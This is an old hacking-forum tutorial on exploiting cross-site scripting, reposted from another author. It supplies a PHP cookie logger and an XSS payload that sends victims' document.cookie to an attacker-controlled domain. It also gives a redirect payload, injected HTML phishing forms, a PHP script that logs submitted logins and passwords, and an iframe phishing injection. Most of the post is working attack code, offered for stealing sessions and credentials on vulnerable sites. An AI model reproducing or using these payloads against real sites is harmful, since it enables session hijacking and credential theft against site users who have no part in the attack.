XSS Exploitation

Liyan Oz · 02-13-2011, 03:07 AM

Original Post - XSS Exploitation Attack - by Ben Sebastian in Web Hacking

Hi there, meet again with me.
this time i will share my knowledge,.
I will share about XSS,.
I thinl all of master there know about this, i am sorry master..

XSS is the one of vulnerability on web aplication.
so lets start this tutorial..!!

in this time i have 2 part about XSS, lets se the first..!!

I will use XSS to grab cookie on a website, w00t everybody need this.
to do that we have prepare 2 php file and hosting, for hosting you can
use free hosting guys..

so 2 php file is new.php and page.php, lets see source of new.php and page.php this is source of new.php

Code:
--------------------- new.php --------------------------------

<head>
<meta http-equiv="Content-Language" content="it">
<title>Cookie Stealer</title>
</head>

<body bgcolor="#C0C0C0">

<p align="center"><font color="#000000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#00FF00">Guardian From HEaven</font></p>
<p align="left">&nbsp;</p>

</body> 

-------------------- EOF new.php --------------------------------

you can modified that source if you want

and then this is source of page.php

Code:
----------------------- page.php ----------------------------------

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://google.com");

?> 

--------------------- EOF page.php -------------------------------

Question : What function of new.php and page.php
Answers : new.php is used to grab cookies on the web and page.php is to get information of our target,..

now goes to XSS vuln site,.

for example the web is
http://myweb.id/vuln.php?vuln=[XSS]

this is example of the web

so if we want to grab that, place your script like this

http://myweb.id/vuln.php?vuln=<script....location="http://you-domain.com/page.php?c="+document.cookie;</script>

oke you can call that page on your browser,.

Question : Where you got this c="+document.cookie;
Answer : You can see on this $data = $_GET[c]; that get variable guys

when you call this web
http://myweb.id/vuln.php?vuln=<script....location="http://you-domain.com/page.php?c="+document.cookie;</script>

this is end off XSS cookies grab, all of source you can modified.

now we are on 2nd of XSS attack..
using XSS to phising use iframe, xixiixx lets begin now

you will redirect on google, and you can see cookie on new.php

dor this i`ve used target this

http://myweb.id/vuln.php?vuln=[XSS]

first is to rediect, use this script to redirect

<script>document.location.href="http://www.google.com"</script>

http://myweb.id/vuln.php?vuln=<script...tion.href="http://www.google.com"</script>

thath is redirect page, if people klik that url they will redirect on google.com

that is simple xss, now for phising we can use html phising, so if you have phising page like rapid,
and all you have you can used that on XSSi`ve use simple phising page on this time, lets see the example

Code:
http://myweb.id/vuln.php?vuln="'><html><head><meta
content="text/html; charset=ISO-8859-1"http-equiv="content-type"
/><title></title></head><body><div style="text-align: center;"><form
Method="POST" Action="phising.org" Name="form">Phishing_page :<br /><br
/>Login :<br />&nbsp;<input name="login" /><br />Password :<br
/>&nbsp;<input name="Password" type="password" /><br /><br /><input
name="Valid" value="Ok !" type="submit" /><br /></form></div></body></html>

that is example for html phising.
if XSS vuln is on the guestbook, you can modified that script like this

Code:
<html><head><meta content="text/html; charset=ISO-8859-1"http-
equiv="contenttype"
/><title></title></head><body><div style="text-align: center;"><form
Method="POST" Action="phishing.org" Name="form">Phishingpage :<br /><br
/>Login :<br />&nbsp;<input name="login" /><br />Password :<br />&nbsp;<input
name="Password" type="password" /><br /><br /><input name="Valid"
value="Ok !" type="submit" /><br /></form></div></body></html>

on that script i`ve write like this
phising.org what is source of that

this is simple phising page

Code:
--------------------------- phising.org -------------
<?php
$login = $_POST['login'];
$password = $_POST['Password'];
$open = fopen('log.htm', 'a+');
fputs($open, 'Login : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>
------------------------- EOF ----------------------

we can modified that script to be the best phising page..

on XSS to you can modified to iframe and I think all of master there know about it..

http://myweb.id/vuln.php?vuln=<iframe src="http://phising.org" height="300" width="800"></iframe>

like that.
this is end of my paper, i hope this hava function for us, I will share again in next time.

dont forgot give reputation if you like it..

http://hackcommunity.com/reputation.php?...action=add

EDIT By Coder-san - Added Original Topic link at the Top. Please don't leech other's work.